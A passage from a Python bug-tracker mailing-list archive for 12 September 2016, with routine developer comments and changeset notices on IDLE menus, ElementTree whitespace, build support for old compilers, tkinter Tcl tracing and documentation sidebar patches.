In-Reply-To: <1341865491.11.0.0892141451607.issue15308@psf.upfronthosting.co.za>
Message-ID: <20160912055741.8517.11048.187E1884@psf.io>


Roundup Robot added the comment:

New changeset 9148a2213631 by Terry Jan Reedy in branch '2.7':
Issue #15308: Add 'interrupt execution' (^C) to Shell menu.
https://hg.python.org/cpython/rev/9148a2213631

New changeset 74b84014bc27 by Terry Jan Reedy in branch '3.5':
Issue #15308: Add 'interrupt execution' (^C) to Shell menu.
https://hg.python.org/cpython/rev/74b84014bc27

New changeset 63f6ac38d18d by Terry Jan Reedy in branch 'default':
Merge 3.5 - Issue #15308: Add 'interrupt execution' (^C) to Shell menu.
https://hg.python.org/cpython/rev/63f6ac38d18d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15308>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:06:23 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Mon, 12 Sep 2016 06:06:23 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473660383.14.0.867405348909.issue17582@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Raymond, you might have meant me when assigning the ticket and not Stefan Krah, but since I'm actually not a core dev, I can't commit the patch myself.

See my last comment, though, I reviewed the patch and it should get committed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:07:56 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 06:07:56 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473660476.04.0.582312723013.issue17582@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: skrah -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:10:21 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 06:10:21 +0000
Subject: [issue27170] IDLE: remove Toggle Auto Coloring or add to edit menu &
 doc
In-Reply-To: <1464724931.74.0.507384074731.issue27170@psf.upfronthosting.co.za>
Message-ID: <1473660621.19.0.718948852496.issue27170@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

#15308 added Interrupt Execution to Shell menu.  Pretty easy

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27170>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:18:55 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 12 Sep 2016 06:18:55 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473661135.57.0.973674552811.issue28092@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

GCC 4.3 was released in March 2008, so I think we are within our rights to drop support for older toolchains.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:23:33 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 06:23:33 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <20160912062329.19517.71976.DD903962@psf.io>


Roundup Robot added the comment:

New changeset 0a5596315cf0 by Raymond Hettinger in branch '3.5':
Issue #17582: xml.etree.ElementTree nows preserves whitespaces in attributes
https://hg.python.org/cpython/rev/0a5596315cf0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:24:55 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 06:24:55 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473661495.31.0.0763115810139.issue17582@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Done.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:30:24 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 06:30:24 +0000
Subject: [issue25776] More compact pickle of iterators etc
In-Reply-To: <1449052155.68.0.447852149746.issue25776@psf.upfronthosting.co.za>
Message-ID: <1473661824.92.0.711870954738.issue25776@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I would like to pass on this one.  It isn't common to pickle iterators, the savings is very small, and some of the code looks less pleasant.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25776>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:32:44 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 06:32:44 +0000
Subject: [issue28093] ResourceWarning in test_ssl
In-Reply-To: <1473651242.99.0.55455406585.issue28093@psf.upfronthosting.co.za>
Message-ID: <1473661963.99.0.0769910235446.issue28093@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

The problem lies in test_echo, using PROTOCOL_TLS_CLIENT as the server but doesn't not provide a hostname? I make a try which seems solving the problem but not sure this is what you want.

----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44589/issue28093.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28093>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:33:05 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 06:33:05 +0000
Subject: [issue27170] IDLE: remove Toggle Auto Coloring or add to edit menu &
 doc
In-Reply-To: <1464724931.74.0.507384074731.issue27170@psf.upfronthosting.co.za>
Message-ID: <1473661985.51.0.767220094019.issue27170@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Being able to toggle syntax color on for non-py files would satisfy request #22038.  Note that toggle off does not de-colorize, but toggle on colorizes existing code.  However, in text file, it selects entire file (^a plus last blank line).  Must be pre-existing tk binding.  Pycharm uses to comment a line.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27170>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:34:11 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 06:34:11 +0000
Subject: [issue27170] IDLE: remove Toggle Auto Coloring or add to edit menu &
 doc
In-Reply-To: <1464724931.74.0.507384074731.issue27170@psf.upfronthosting.co.za>
Message-ID: <1473662051.66.0.676915500367.issue27170@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
Removed message: http://bugs.python.org/msg275976

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27170>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:34:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 06:34:57 +0000
Subject: [issue28096] set.difference() is not interruptible
Message-ID: <1473662097.22.0.410183784221.issue28096@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

>>> from itertools import count
>>> set.difference({0}, count())

This hangs and can't be interrupted by Ctrl-C.

----------
components: Interpreter Core
messages: 275977
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: set.difference() is not interruptible
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28096>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:49:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 06:49:44 +0000
Subject: [issue20100] epoll docs are not clear with regards to CLOEXEC.
In-Reply-To: <1388505494.08.0.643576998185.issue20100@psf.upfronthosting.co.za>
Message-ID: <1473662984.6.0.890311339849.issue20100@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

There is small behavior difference. Currently OSError raised for invalid flags has errno=EINVAL, with the patch it wouldn't have errno. If this is okay, the patch LGTM.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20100>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:56:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 06:56:00 +0000
Subject: [issue26496] Exhausted deque iterator should free a reference to a
 deque
In-Reply-To: <1457290407.19.0.35859236491.issue26496@psf.upfronthosting.co.za>
Message-ID: <1473663360.54.0.284977290633.issue26496@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I would like to leave this one alone.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26496>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:03:31 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 07:03:31 +0000
Subject: [issue28097] IDLE: document all key bindings, add menu items for more.
Message-ID: <1473663810.99.0.66873909958.issue28097@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

(Follow-up to #15308, which added ^C Interrupt Execution to doc and Shell menu, and to #27120, which proposed to add ^/ Toggle Highlighting, until I realized that that should be part of #6858, about highlighting non-.py files.)

Every IDLE function should be documented.  More should be on menu.  Perhaps add Move/delete menus for cursor movement and directional deletion, if not a diagram.

Another idea.  A searchable current key binding list, possible sortable by key as well as function.  It should include fixed builtin bindings as well as extension bindings.  See #27120 for motivation.

Side issue 1: Menu entries for extensions do not reflect customization (? verify, from Roger).

Side issue 2: Menus need to be tested.

----------
assignee: terry.reedy
components: IDLE
messages: 275980
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: IDLE: document all key bindings, add menu items for more.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28097>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:09:29 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 07:09:29 +0000
Subject: [issue6858] This is a python file, apply syntax highlighting
In-Reply-To: <1252364873.43.0.809885579905.issue6858@psf.upfronthosting.co.za>
Message-ID: <1473664169.33.0.526598158621.issue6858@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

There exists a <<toggle-auto-coloring>> bound (at least on Windows) to ^/.  When toggled off, it does not removes existing highlighting.  So accidentally hitting the key has no immediate visible effect (see #27170 for problem this caused someone.)  It does re-highlight existing code when toggled on.  The turn off part should be fixed and maybe a status bar message given.

It only applies to .py files.  With a .txt, it selects the entire file, including the trailing blank (which ^A omits).  For this issue, it should be fixed to allow for any file, just starting off for non .py files.

It is one of many key bindings not in doc or not on menu.  #28097 is about this general issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6858>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:18:42 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 07:18:42 +0000
Subject: [issue17941] namedtuple should support fully qualified name for more
 portable pickling
In-Reply-To: <1368071216.78.0.0822877752405.issue17941@psf.upfronthosting.co.za>
Message-ID: <20160912071836.21311.58948.1237B500@psf.io>


Roundup Robot added the comment:

New changeset c8851a0ce7ca by Raymond Hettinger in branch 'default':
Issue #17941: Add a *module* parameter to collections.namedtuple()
https://hg.python.org/cpython/rev/c8851a0ce7ca

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17941>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:19:09 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 07:19:09 +0000
Subject: [issue17941] namedtuple should support fully qualified name for more
 portable pickling
In-Reply-To: <1368071216.78.0.0822877752405.issue17941@psf.upfronthosting.co.za>
Message-ID: <1473664749.26.0.190190260105.issue17941@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17941>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:29:02 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 07:29:02 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1473665342.73.0.818229907539.issue25478@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:30:24 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 07:30:24 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473665424.91.0.425383344474.issue27405@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

The patch changes 4 non-tkinter clinic files.  Accident?  All 4 are rejected.  Will compile and test tkinter changes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:35:22 2016
From: report at bugs.python.org (Wolfgang Langner)
Date: Mon, 12 Sep 2016 07:35:22 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473665722.54.0.78849959201.issue28092@psf.upfronthosting.co.za>


Wolfgang Langner added the comment:

This can be related to building manylinux1 binaries where the Centos 5.11 is used.
There can be a possibility to break manaylinux1 builds for Python 3.6, they are used to distribute packages for every Linux distribution.

https://www.python.org/dev/peps/pep-0513/

----------
nosy: +tds333

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:39:42 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 07:39:42 +0000
Subject: [issue28096] set.difference() is not interruptible
In-Reply-To: <1473662097.22.0.410183784221.issue28096@psf.upfronthosting.co.za>
Message-ID: <1473665982.66.0.82745413561.issue28096@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This is no different than the many other places in Python where you can tell the language to go on an infinite wild goose chase:  sum(count()), list(count()), etc.  I believe there is already a tracker item open for such things.  Someone is going to have to make a decision whether to slow-down every single possible input source, or slow-down every possible consumer, or to just punt, because this never comes up in practice.

----------
resolution:  -> duplicate
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28096>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:53:28 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 07:53:28 +0000
Subject: [issue6858] This is a python file, apply syntax highlighting
In-Reply-To: <1252364873.43.0.809885579905.issue6858@psf.upfronthosting.co.za>
Message-ID: <1473666808.67.0.645230367975.issue6858@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

+0 from me.

----------
assignee: rhettinger -> terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6858>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:59:33 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 12 Sep 2016 07:59:33 +0000
Subject: [issue28098] sys.getsizeof(0) is incorrect
Message-ID: <1473667173.5.0.153508183676.issue28098@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Low-priority issue, possibly not worth fixing at all, but maybe worth recording.

sys.getsizeof(0) currently reports 24 on a 64-bit machine using 30-bit limbs. That's inaccurate, since we're actually allocating 28 bytes for 0 as part of the small-int cache. PyLong_FromLong also always requests at least one limb.

----------
assignee: mark.dickinson
components: Interpreter Core
messages: 275987
nosy: mark.dickinson
priority: low
severity: normal
stage: needs patch
status: open
title: sys.getsizeof(0) is incorrect
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28098>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:00:25 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 08:00:25 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473667225.56.0.00850948183173.issue27405@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Much better.  I can more or less follow IDLE startup.
>>> import tkinter
>>> tkinter.debug
False
>>> tkinter.debug = True
>>> import idlelib.idle
proc tkerror {} {<function _tkerror at 0x038479F8>}
proc exit {} {<function _exit at 0x03847A58>}
proc 27305592destroy {} {<bound method CallWrapper.__call__ of <tkinter.CallWrapper object at 0x04033658>>}
wm protocol . WM_DELETE_WINDOW 27305592destroy
wm withdraw .
wm iconbitmap . -default F:\\Python\\dev\\36\\lib\\idlelib\\Icons\\idle.ico
tcl_wordBreakAfter {a b} 0
set tcl_wordchars [a-zA-Z0-9_]
set tcl_nonwordchars [^a-zA-Z0-9_]
tk windowingsystem  
menu .`menu
toplevel .`listedtoplevel -menu .`menu
wm iconname . None
wm iconname .`listedtoplevel {}
wm title . None
wm title .`listedtoplevel idle
...
proc 67104888handler {} {<bound method CallWrapper.__call__ of <tkinter.CallWrapper object at 0x05727690>>}
bind .`listedtoplevel.`frame.text <Control-KeyPress> if\ \{"[67104888handler\ %#\ %b\ %f\ %h\ %k\ %s\ %t\ %w\ %x\ %y\ %A\ %E\ %K\ %N\ %W\ %T\ %X\ %Y\ %D]"\ ==\ "break"\}\ break\
... # lots of above, binding for Shell window. Default print is noisy.
    # I presume a custom handler that recognizes 'proc' could be better.

menu .`menu.file -tearoff 0
.`menu add cascade -label File -menu .`menu.file -underline 0
... # menu for Shell
.`menu.file add command -label {New File} -underline 0 -command 62029624command -accelerator Ctrl+N
... # more menu - new names **really** help!!!

Will ...settrace(None)?  Aside from that, I would like to see this in 3.6. (ie, applied now, upgraded later, if definitely safe).  (Note: 4AM here, so this is best I can review now ;-).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:01:24 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 12 Sep 2016 08:01:24 +0000
Subject: [issue28098] sys.getsizeof(0) is incorrect
In-Reply-To: <1473667173.5.0.153508183676.issue28098@psf.upfronthosting.co.za>
Message-ID: <1473667284.51.0.847041809275.issue28098@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Related: http://bugs.python.org/issue3690

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28098>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:04:03 2016
From: report at bugs.python.org (Batiste)
Date: Mon, 12 Sep 2016 08:04:03 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473667443.29.0.194416680366.issue28044@psf.upfronthosting.co.za>


Batiste added the comment:

Here is a second patch which is improved in some ways:

1. removed the '.headerlink .headerlink'
2. when scrolling over the side bar the 'snappin' is disabled therefor it is rather easy to search and find the desired section or the search box
3. removed an error when collapsing the menu
4. Scrolling all the way down with a small viewport doesn't push the sidebar over the footer

----------
Added file: http://bugs.python.org/file44590/following-sidebar-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:08:34 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 08:08:34 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473667714.52.0.478928649208.issue27405@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

I ran idle and tcl/tk/ttk tests.  all pass with and without patch. text_tcl before and with patch ends with warning: Windows fatal exception: access violation.  I have seen this for perhaps a couple of weeks (check windows buildbot), but not forever.  You should probably try to fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:10:54 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 08:10:54 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473667854.45.0.538237025411.issue27405@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

If not in 3.6, I can still apply patch from shelf, recompile, use for awhile, re-shelve, recompile.  So not tragedy if miss deadline.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:19:52 2016
From: report at bugs.python.org (Batiste)
Date: Mon, 12 Sep 2016 08:19:52 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473668392.25.0.190806920188.issue28044@psf.upfronthosting.co.za>


Batiste added the comment:

Minor typo fix.

----------
Added file: http://bugs.python.org/file44591/following-sidebar-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:25:20 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 12 Sep 2016 08:25:20 +0000
Subject: [issue28098] sys.getsizeof(0) is incorrect
In-Reply-To: <1473667173.5.0.153508183676.issue28098@psf.upfronthosting.co.za>
Message-ID: <1473668720.82.0.281079605305.issue28098@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

I don't think anything has changed substantially since the discussion in issue 3690. Closing as "won't fix".

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28098>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:32:25 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Mon, 12 Sep 2016 08:32:25 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473669145.76.0.197123620861.issue15819@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

@Martin tldr; That was three years ago so I don't know if the issue remains. Perhaps a new out of tree builder will help answer that question.

We(FreeBSD) gave up^W switched away from out of tree builds due to lack of support getting issues fixed and the frequency at which commits would alternately break in tree builds then out of tree builds.

Unfortunately that also lost us the flexibility to create dual static/shared builds.

The relevant downstream commit log: https://svnweb.freebsd.org/ports?view=revision&revision=350610

The patch we added (reverting 2dde5a7439fd) that was mentioned in msg203348 was: 

https://svnweb.freebsd.org/ports/head/lang/python27/files/patch-Makefile.pre.in?view=markup&pathrev=318353

If the current code is the same as per the 2dde5a7439fd change, then I'd guess it would still be an issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:33:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 08:33:53 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473669233.39.0.816208423577.issue28080@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Sorry, I can't push the patch in a haste. In needs more design discussion, comparing with other implementations (I found only that ZipFile in Java can take the charset argument, but "charset" is common name for text encoding in Java), wider discussion. The problem exists for years, and there are workarounds.

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:35:43 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 08:35:43 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473669343.47.0.0877516673021.issue28092@psf.upfronthosting.co.za>


Ned Deily added the comment:

Do we know for sure that the manylinux1 builds are affected by this, i.e. can someone try building manylinux1 for 3.6?

On the one hand, it is clear that many core developers would like to use these newer features of C, features that have been available for many years.  On the other, we may be breaking the "manylinux1" proposed standard and force a move to a newer one, as well as directly impacting some users (such as Steven and one of our buildbots) using old setups.

Nick, as BDFL-Delegate for PEP 513, what do you think?  We need to resolve this issue before we can release b1.

----------
nosy: +ncoghlan
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:36:08 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 08:36:08 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1473669368.35.0.889291918059.issue25478@psf.upfronthosting.co.za>


SilentGhost added the comment:

Floats are also not fully supported by the Counter class, for example,
sorted(Counter(a=1.0).elements()) results in TypeError.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:36:44 2016
From: report at bugs.python.org (Batiste)
Date: Mon, 12 Sep 2016 08:36:44 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473669404.73.0.901960415024.issue28044@psf.upfronthosting.co.za>


Batiste added the comment:

So answer to your comments SilentGhost:

I had a look at what Mozilla recommend. Their proposition of using position:sticky is interesting and probably possible for this use case but might require quite a bit of extra work. There is also the other suggestion to use something like https://lodash.com/docs/4.15.0#debounce but that would mean more jumpy animations but less computation. Also there is this http://caniuse.com/#feat=css-snappoints that would solve the issue created just before but it is not well supported yet.

All in all interesting points.

Off course I am willing to spend some time on optimization this if necessary. But before that I might want to have some kind of "approval" that my work as a chance to be used.

And I have a question for you R. David Murray. Look here for example:

https://docs.python.org/3/library/asyncio-protocol.html#udp-echo-server-protocol

What is the value of having an empty left sidebar here? Shoudn't we remove the sidebar completly if you have to scroll all the way up anyway? I don't really see the value for this sidebar in many of the long pages Python documentation offers.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:37:41 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 08:37:41 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473669461.44.0.669666437385.issue27405@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This feature is useful first at all for us, core developers. I think we could add it with provisional status in the beta stage or wait to 3.7. In any case the documentation and tests are not ready yet.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:46:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 08:46:56 +0000
Subject: [issue24821] The optimization of string search can cause pessimization
In-Reply-To: <1438927886.02.0.407236930114.issue24821@psf.upfronthosting.co.za>
Message-ID: <1473670016.93.0.822036522743.issue24821@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I would commit the patch before beta 1, but:

1) The issue can be considered not as a new feature, but as a fix of performance bug (just we don't will to backport the fix to 3.5). I think the patch can be committed at the beta stage.

2) I would want to tune magic constants. I experimented on my two computers, and thing they are good enough, but would be nice to test them on other computers. I need to write automatic benchmark for running on foreign computers. This will take a time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24821>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:47:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 08:47:12 +0000
Subject: [issue24821] The optimization of string search can cause pessimization
In-Reply-To: <1438927886.02.0.407236930114.issue24821@psf.upfronthosting.co.za>
Message-ID: <1473670032.77.0.165635516669.issue24821@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24821>
_______________________________________

From report at bugs.python.org  Mon Sep 12 04:48:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 08:48:41 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
